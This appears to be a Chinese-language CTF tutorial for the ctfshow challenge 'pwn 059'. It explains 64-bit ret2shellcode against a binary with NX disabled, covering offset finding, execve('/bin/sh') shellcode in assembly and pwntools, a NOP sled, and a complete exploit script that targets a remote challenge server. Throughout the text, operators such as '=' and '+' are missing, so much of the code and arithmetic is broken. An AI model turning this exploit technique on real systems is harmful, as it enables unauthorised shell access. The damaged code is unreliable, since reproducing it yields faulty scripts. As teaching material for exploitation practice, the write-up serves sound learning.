1. 项目概述从“能溢出”到“能执行”的思维跃迁在CTF的pwn世界里栈溢出Stack Overflow往往是新手接触的第一个漏洞类型。我们学会了用cyclic计算偏移用ROPgadget寻找pop rdi; ret用ret2libc调用system(“/bin/sh”)。这些技术路径的核心思想是“借用”目标程序中已有的代码片段Gadgets来拼凑出攻击逻辑。但今天我们要聊的Ret2Shellcode走的是一条更“原始”也更考验基本功的路子我们自己编写攻击代码Shellcode并让程序跳转过去执行。题目pwn 059被标记为“栈执行”这直接点明了本题的核心考点——栈的可执行权限NX保护关闭。在64位架构下玩Ret2Shellcode远不止把32位的Shellcode拿过来用那么简单。寄存器位宽变了系统调用号变了参数传递的约定也完全变了。很多初学者在这里栽跟头明明控制了EIP/RIP却弹不出shell问题往往就出在对指令集架构ISA差异的忽视上。本文将带你深入64位Ret2Shellcode的每一个技术细节从漏洞分析、Shellcode编写、到利用链构造手把手拆解pwn 059并分享我在实战中积累的调试技巧和避坑指南。2. 漏洞原理与程序分析定位那个关键的“洞”在动手写利用之前我们必须像法医一样先彻底“解剖”目标程序理解它的每一个行为。2.1 基础信息收集第一眼诊断拿到一个陌生的二进制文件我习惯先用file和checksec这两个命令进行快速体检。$ file pwn059 pwn059: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]xxxxxxxx, not stripped $ checksec --filepwn059 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments这份“体检报告”信息量巨大Arch: amd64-64-little: 确认是64位小端序程序。这决定了我们所有汇编指令和内存数据布局都必须遵循64位规则。Stack: No canary found: 没有栈金丝雀保护。这意味着我们可以进行栈溢出而不会触发__stack_chk_fail检测。NX: NX disabled:这是本题的命门。NXNo-eXecute保护被关闭意味着栈内存区域Stack具有可执行eXecutable权限。这是我们能够将Shellcode放在栈上并成功执行的前提。如果NX开启即使跳转到栈上CPU也会拒绝执行其中的指令导致段错误Segmentation Fault。PIE: No PIE: 地址空间布局随机化未开启。这意味着程序的代码段.text、数据段.data/.bss的加载地址在每次运行时是固定的。我们可以直接使用类似0x400000这样的绝对地址大大简化了利用过程。not stripped: 符号表未被剥离。我们可以在反汇编中看到函数名如main,vulnerable_function这极大方便了逆向分析。2.2 逆向分析与漏洞点定位用objdump -d或IDA Pro/Ghidra进行反汇编。通常这类题目的漏洞函数会非常明显。我们假设找到了一个名为vuln的函数// 伪C代码基于反汇编推断 void vuln() { char buf[64]; // 在栈上分配了64字节的缓冲区 read(0, buf, 256); // 关键允许读取最多256字节但buf只有64字节。 // 或者使用 gets(buf); 同样危险 return; }漏洞成因一目了然read函数的第三个参数256远大于缓冲区buf的实际大小64。当用户输入超过64字节时多出的数据就会覆盖栈帧中buf之后的内容包括保存的寄存器如RBP和最关键的函数返回地址Return Address 即RIP。在64位程序中调用约定是System V AMD64 ABI。函数调用时前六个整数或指针参数依次通过寄存器RDI, RSI, RDX, RCX, R8, R9传递多于六个的参数才通过栈传递。read的函数原型是ssize_t read(int fd, void *buf, size_t count);所以对应的fd0(标准输入) 存入RDIbuf的地址存入RSIcount256存入RDX这些在调用read前就已经由调用者main或vuln的序言设置好了。我们的溢出数据不会影响这些参数它影响的是栈布局本身。2.3 计算精确偏移量我们需要知道从我们输入的起始位置buf的开始到覆盖返回地址RIP的位置中间有多少个字节的“填充物”。这就是偏移量Offset。方法一使用cyclic和gdb推荐# 生成一个长的不重复模式字符串 $ cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab # 在gdb中运行程序并输入这个模式 $ gdb ./pwn059 (gdb) r Starting program: /home/user/pwn059 输入 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab Program received signal SIGSEGV, Segmentation fault. 0x0000000000401234 in ?? () (gdb) info registers rip rip 0x401234 0x401234程序崩溃在0x401234。我们用cyclic工具计算这个值在模式中的位置$ cyclic -l 0x401234 # 如果0x401234是ASCII字符可能需要转换。更常见的是崩溃时RIP的值是模式字符串的一部分如 0x6161616a (jaaa) # 假设RIP是 0x6161616a $ cyclic -l 0x6161616a 72计算出的偏移量是72。这意味着我们需要填充72个字节的垃圾数据如‘A’从第73个字节开始写入的内容就会覆盖返回地址。方法二静态分析辅助验证通过反汇编查看vuln函数的栈布局sub rsp, 0x50 ; 为局部变量分配0x50 (80)字节栈空间 lea rax, [rbp-0x40] ; buf的地址是 rbp-0x40 (64字节) mov rdx, 0x100 ; count256 mov rsi, rax ; buf mov edi, 0x0 ; fd0 call readpltbuf在rbp-0x40。在x86-64中调用call指令后返回地址被压入栈中位于rbp0x8的位置因为旧的RBP被保存在rbp的位置。所以从buf(rbp-0x40)到返回地址(rbp0x8)的距离是0x40 0x8 0x48(十进制72)。与方法一动态调试的结果吻合。实操心得永远不要只依赖静态分析计算偏移。编译器的优化、栈对齐Stack Alignment等因素可能导致实际布局与想象有出入。cyclic动态调试是黄金标准。我习惯两者结合用静态分析理解原理用动态调试确认结果。3. Shellcode的编写与适配32位到64位的鸿沟这是Ret2Shellcode的核心也是新手最容易出错的地方。32位x86和64位x86-64的Shellcode编写有天壤之别。3.1 32位Shellcode回顾作为对比典型的32位execve(“/bin/sh”)Shellcode; 32位 Intel 语法 xor eax, eax ; 清空eax push eax ; 字符串结尾的NULL入栈 push 0x68732f2f ; “hs//” (//sh) push 0x6e69622f ; “nib/” (/bin) mov ebx, esp ; ebx指向 “/bin//sh”字符串的地址 xor ecx, ecx ; ecx 0 (argvNULL) xor edx, edx ; edx 0 (envpNULL) mov al, 0xb ; syscall number for execve is 11 (0xb) int 0x80 ; 触发系统调用关键点参数通过栈传递ebx, ecx, edx系统调用号放在eax使用int 0x80中断。3.2 64位Shellcode的编写要点64位架构下规则全变了系统调用号不同execve的系统调用号不再是11。你需要查询64位的系统调用表。在Linux x86-64上execve的系统调用号是59十进制。$ grep execve /usr/include/asm/unistd_64.h #define __NR_execve 59参数传递寄存器遵循System V AMD64 ABI系统调用的前六个参数依次使用rdi, rsi, rdx, r10, r8, r9。execve的原型是int execve(const char *pathname, char *const argv[], char *const envp[]);所以rdi- 指向程序路径字符串的指针 (如 “/bin/sh”)rsi- 指向参数数组的指针 (argv)rdx- 指向环境变量数组的指针 (envp) 通常为了简单我们设置argv和envp为NULL即0。触发系统调用的指令不再是int 0x80而是syscall指令。寄存器位宽所有操作都是64位的。例如给rax赋值59应该是mov rax, 59或mov al, 59但要注意高位清零问题。3.3 编写64位 execve(“/bin/sh”) Shellcode让我们手写一版最经典的; 64位 Intel 语法 section .text global _start _start: ; 1. 将字符串 “/bin/sh” 压栈并获取其地址 xor rdx, rdx ; rdx 0 (envpNULL) push rdx ; 字符串结尾的NULL入栈 (8字节) mov rax, 0x68732f2f6e69622f ; 将 “/bin//sh” 加载到 rax ; 注意字符串是 “hs//nib/”因为是小端序实际内存中是 “/bin//sh” push rax ; 将字符串压栈 mov rdi, rsp ; rdi 指向栈顶即字符串 “/bin//sh” 的地址 ; 2. 设置 argv 参数 (rsi) xor rsi, rsi ; rsi 0 (argvNULL) ; 也可以选择构造一个 argv 数组 [“/bin/sh”, NULL]但NULL最简单。 ; 3. 设置系统调用号 (rax) mov rax, 59 ; syscall number for execve ; 4. 触发系统调用 syscall这段代码逻辑清晰但有一个问题它包含了空字节\x00。xor rdx, rdx会产生\x48\x31\xd2这没问题。但mov rax, 0x68732f2f6e69622f这个操作码很长且立即数中的0x00可能会出现在低位取决于具体数值。push一个包含\x00的寄存器也会把\x00压入栈中。在许多情况下read、gets等函数会将\x00视为字符串终止符导致我们的Shellcode被截断。3.4 优化避免空字节Null-Free Shellcode这是Shellcode编写的艺术。我们需要用一些技巧来避免直接出现\x00。技巧1使用小寄存器操作和符号扩展mov rax, 59的编码可能产生空字节因为59很小高位都是0。我们可以用mov al, 59它只操作rax的低8位且不会影响高位在64位模式下对32位以下寄存器的操作会自动零扩展到64位不完全是对al的操作不影响高56位。更安全的做法是xor rax, rax ; rax 0 mov al, 59 ; rax 59 (低8位)xor rax, rax的编码是\x48\x31\xc0没有空字节。技巧2构造字符串时不使用立即数与其用mov一个大立即数不如分小块用栈操作构造字符串。xor rax, rax push rax ; 压入8字节的0 (字符串终止符) mov rbx, ‘/bin//sh’ ; 这行是伪代码实际不能这样写正确的手工汇编写法xor rdx, rdx push rdx ; NULL 终止符 mov rbx, 0x68732f2f6e69622f ; 还是有大立即数问题更好的方法是使用push小立即数来拼接xor rax, rax push rax ; NULL mov rbx, ‘//bin/sh’ ; 伪代码实际需要拆解实际上更常见的做法是写一个Python脚本生成精确的机器码或者使用像pwntools这样的工具库自动生成无空字节的Shellcode。技巧3使用 pwntools 生成最省事from pwn import * context.arch ‘amd64’ # 设置架构为64位 shellcode asm(shellcraft.sh()) # 生成 execve(‘/bin/sh’) 的shellcode print(hexdump(shellcode))pwntools的shellcraft模块生成的Shellcode默认就是无空字节、适应性强的高质量代码。这是我们实战中的首选。注意事项生成的Shellcode长度也是一个关键因素。栈缓冲区大小有限本题是64字节如果Shellcode过长可能放不下。shellcraft.sh()生成的Shellcode通常44字节左右完全够用。如果空间极端紧张可以使用shellcraft.sh()的变体或自己编写更精简的版本。3.5 Shellcode的最终形态与测试让我们用pwntools生成并检查一下from pwn import * context.arch ‘amd64’ shellcode asm(shellcraft.sh()) print(‘Length:’, len(shellcode)) print(‘Hex:’, shellcode.hex()) print(‘Disasm:’) print(disasm(shellcode))输出会显示一段精简的、无空字节的机器码。你可以将其保存到文件并用sc-run或自己写个小程序测试其有效性。4. 利用链构造与Exploit编写现在我们掌握了所有拼图偏移量72、可执行的栈、以及适配64位的Shellcode。接下来就是组装利用链Exploit Chain。4.1 利用链设计思路标准的Ret2Shellcode利用链结构如下[ 垃圾填充 (72字节) ] [ 返回地址 (8字节) ] [ Shellcode (N字节) ]但是这里有一个关键问题覆盖返回地址后程序会跳转到我们指定的地址去执行。我们应该让程序跳转到哪里答案是跳转到我们Shellcode所在的地址。那么Shellcode放在哪里有两种主流思路放在返回地址之后即填充72字节后后面紧跟的就是Shellcode。那么返回地址应该填什么它需要指向Shellcode的开始处。这就需要我们知道栈的地址。由于ASLR地址空间布局随机化的存在栈地址在每次运行时是随机的。但本题PIE未开启且栈地址可能在程序输出中泄露或者通过其他漏洞如格式化字符串泄露。如果题目没有提供信息泄露这种方法不可行。放在缓冲区内部这是更常见、更稳定的方法。我们将Shellcode放在buf缓冲区本身的开头或中间。那么返回地址就填buf的起始地址。我们需要知道buf的地址。如何获取buf的地址有时程序会打印出来比如printf(“buffer at %p\n”, buf)。如果没有在NX disabled且PIE disabled的情况下我们可以通过调试器gdb在运行时获取buf的地址因为这个地址在同一次运行中是固定的虽然每次运行可能不同。在远程攻击时如果服务端进程不重启这个地址也可能不变或者我们可以通过暴力猜测Brute-force部分地址位。4.2 动态获取栈地址GDB在gdb中运行程序在read函数调用前或后下断点打印buf的地址。(gdb) b *vulnxx (在read调用前) (gdb) r (gdb) p/x $rbp-0x40 $1 0x7fffffffdcc0假设我们得到地址0x7fffffffdcc0。注意gdb环境下的栈地址和非gdb环境直接运行下的栈地址通常会有偏移主要是因为环境变量等因素。这个偏移往往是固定的。你可以通过比较cat /proc/pid/maps在gdb内外的情况来估算或者使用vmmap命令如果gdb插件支持。一个更实用的技巧是让程序自己泄露一个栈地址。例如如果程序有一个“输出某个局部变量地址”的功能我们就可以利用。本题pwn 059假设没有这种泄露我们采用另一种方法使用近似地址并添加NOP雪橇NOP Sled。4.3 NOP雪橇NOP Sled技术由于我们无法精确知道Shellcode的起始地址比如buf的地址每次运行可能变化我们可以让返回地址指向buf地址范围的中间某个位置然后在Shellcode前面填充大量的NOP指令机器码为0x90。NOP指令什么都不做只是让CPU滑过slide它继续执行下一条指令。这样只要返回地址落在这一片NOP区域中的任何地方CPU都会一路“滑行”到我们的Shellcode并执行。新的利用链结构变为[ NOP Sled (大量0x90) ] [ Shellcode ] [ 垃圾填充至72字节 ] [ 返回地址 ]返回地址指向NOP Sled区域的某个地址例如buf_addr 0x20。即使我们对buf_addr的猜测有几十个字节的误差只要落在NOP Sled范围内攻击依然成功。这大大提高了攻击的容错率。4.4 编写完整的Exploit脚本我们使用pwntools来编写自动化利用脚本。假设通过某种方式比如程序输出我们得知buf的地址大约是0x7fffffffdcc0。我们采用NOP雪橇方案。#!/usr/bin/env python3 from pwn import * # 设置目标架构和上下文 context.arch ‘amd64’ context.os ‘linux’ # context.log_level ‘debug’ # 调试时开启 # 启动进程 # p process(‘./pwn059’) # 本地测试 p remote(‘pwn.challenge.ctf.show’, 12345) # 远程连接端口假设为12345 # 1. 生成Shellcode shellcode asm(shellcraft.sh()) # 44字节左右 # 2. 构造Payload offset 72 # 假设的栈地址需要根据实际情况调整。这里用一个示例地址。 # 在实际操作中这个地址可能需要通过信息泄露获得或者进行暴力尝试。 buf_addr 0x7fffffffdcc0 # 构建NOP雪橇 Shellcode nop_sled b’\x90’ * 64 # 64字节的NOP雪橇提供足够的滑动空间 payload nop_sled shellcode # 填充至覆盖返回地址前 payload payload.ljust(offset, b’A’) # 用‘A’填充剩余空间直到72字节 # 覆盖返回地址指向NOP雪橇的中间位置增加命中概率 # 我们让返回地址指向 buf_addr 0x20 (32字节处) return_addr buf_addr 0x20 payload p64(return_addr) # p64() 将整数打包为64位小端序字节串 # 3. 发送Payload p.sendline(payload) # 或者 p.send(payload) 如果程序使用read # 4. 切换到交互模式享受shell p.interactive()4.5 地址猜测与暴力破解Brute-Force如果完全没有地址信息在64位地址空间暴力猜解几乎不可能2^48种可能。但在某些特定条件下可以尝试如果程序崩溃后重新启动并且ASLR未完全开启或者只随机化部分高位栈地址可能只在有限范围内变化例如最后1.5个字节随机。这时可以写脚本循环尝试一个地址范围。结合格式化字符串等漏洞先泄露地址再实施攻击这是更常规的做法。对于本题pwn 059根据CTFshow题目的一贯风格很可能会在程序中给出栈地址的提示或者栈地址相对固定。我们需要逆向分析程序寻找是否有打印地址的语句。5. 调试技巧与问题排查实录即使理论完美实际利用过程也常常充满波折。下面是我在实战中遇到的一些典型问题及解决方法。5.1 Shellcode执行失败段错误Segmentation Fault症状成功覆盖返回地址程序也跳转到了预定地址但立即触发SIGSEGV。可能原因与排查NX保护实际是开启的再用checksec仔细确认或者用gdb的vmmap命令查看栈区域的权限。如果显示rw-而不是rwx则栈不可执行。本题前提是NX关闭但如果判断错误这条路就走不通。跳转地址错误跳转到了一个无效的、不可读的地址。用gdb调试在跳转前如ret指令执行时查看RIP寄存器的值看是否等于你payload中的地址。再用vmmap查看该地址是否在合法的、有执行权限的内存范围内。Shellcode包含非法指令或空字节被截断单步执行si到你的Shellcode区域用disassemble $rip查看反汇编是否正确。如果看到乱七八糟的指令说明内存中的Shellcode可能被截断或损坏。检查发送的payload中是否有\x00、\x0a换行、\x0d回车等可能被输入函数特殊处理的字符。使用send而不是sendline或者对payload进行编码如p.send(payload.replace(b’\n’, b’’)。栈对齐问题Stack Alignment某些系统调用或指令对栈指针RSP的对齐有要求如16字节对齐。如果你的Shellcode一开始就push数据可能导致RSP不对齐进而引发错误。解决方法是在Shellcode开头添加一些不影响执行的指令来调整RSP例如and rsp, 0xfffffffffffffff016字节对齐或者通过增加/减少NOP雪橇的长度来间接影响跳转后的初始RSP值。5.2 能执行但弹不出Shell症状程序没有崩溃但也没有弹出shell可能只是静默退出或挂起。可能原因与排查Shellcode本身有问题最可能的原因是32位和64位Shellcode混用。你确定生成的Shellcode是context.arch’amd64’下的吗用disasm()反汇编一下自己生成的Shellcode看看里面是不是int 0x8032位而不是syscall64位。这是最常见的错误参数设置错误特别是argv和envp参数。虽然设置为NULL通常可行但在某些极端严格的环境下可能需要构造合法的指针数组。可以用strace来跟踪进程的系统调用看看execve是否被调用以及参数是什么。标准输入/输出被关闭或重定向你的Shell弹出了但输入输出没有连接到你的终端。确保在pwntools中使用了p.interactive()它会正确处理好TTY。对于远程连接确保socket连接正常。5.3 GDB调试环境与真实环境差异症状在gdb里能成功getshell但直接运行程序或远程攻击却失败。原因与解决环境变量差异gdb会向调试进程注入一些环境变量导致栈的初始地址发生变化。解决方案是在gdb中取消环境变量后再运行(gdb) unset env LINES (gdb) unset env COLUMNS (gdb) set env _ /path/to/pwn059 # 有时也有用 (gdb) r或者更粗暴地在启动gdb时使用env - gdb ./pwn059然后(gdb) r。地址偏移如前所述gdb内外栈地址有固定偏移。你可以通过写一个小循环在程序内部打印一个栈地址如果有可能然后分别记录gdb内外的值计算偏移量。在最终exploit中将gdb中找到的地址加上这个偏移量。使用pwntools的gdb.debugpwntools提供了与gdb集成的强大功能可以更一致地调试。p gdb.debug(‘./pwn059’, gdbscript’‘’b *vulnxx\nc’’’) # 然后正常构造和发送payload5.4 实用调试命令清单在gdb调试Exploit时这些命令能救命cyclic 200/cyclic -l 0x6161616a: 生成模式字符串和计算偏移。vmmap或info proc mappings: 查看内存映射区域及其权限rwx。p/x $rbp-0x40: 计算buf的地址。x/40gx $rsp: 以16字节8字节一组查看栈内存用于观察payload布局。x/20i 0x7fffffffdcc0: 反汇编指定地址你的Shellcode区域的指令。b *vulnxx: 在漏洞函数read调用前下断点。ni(next instruction): 单步执行汇编指令。c(continue): 继续执行。pattern create 200/pattern offset 0x6161616a(如果装了pwndbg或peda插件): 类似cyclic的功能。6. 总结与进阶思考成功完成pwn 059的利用标志着你已经掌握了64位环境下Ret2Shellcode的基本技法。我们来回顾一下核心流程确认NX关闭 - 计算精确偏移 - 编写/获取64位Null-Free Shellcode - 确定Shellcode写入地址通常在缓冲区 - 构建包含NOP Sled的Payload - 覆盖返回地址指向Shellcode区域 - 执行获取Shell。这个过程里最精妙的部分我认为是对指令集架构差异的深刻理解。很多人在32位环境下跑通的Shellcode搬到64位就失灵根本原因就是没搞清楚syscall号、参数寄存器和触发指令这三者的变化。我建议你不仅会用pwntools生成最好能亲手用汇编写几遍哪怕一开始照着抄也能加深对CPU和操作系统交互机制的理解。关于地址泄露这是现实世界攻击和CTF中更高级题目常考的点。如果程序有一个printf(buf)这样的格式化字符串漏洞或者能输出某个指针的值你就能动态获取到关键的栈地址或libc地址从而绕过ASLR。这将是Ret2Shellcode与其它技术如Ret2Libc结合的地方。最后即使掌握了这些也要清醒认识到现代操作系统和编译器的默认安全设置NX开启、ASLR开启、栈金丝雀、RELRO等使得单纯的Ret2Shellcode越来越难以在现实中直接应用。但正是通过对这些“古典”漏洞的深入钻研我们才能建立起对内存布局、控制流劫持最本质的认知为学习更复杂的漏洞利用技术如ROP、堆利用打下坚实的基础。每一次在gdb里单步跟踪看到RIP被精准地导向那片由我们注入的、充满0x90的“雪地”并最终滑向那个能打开新世界的syscall时那种对计算机系统的掌控感正是Pwn的魅力所在。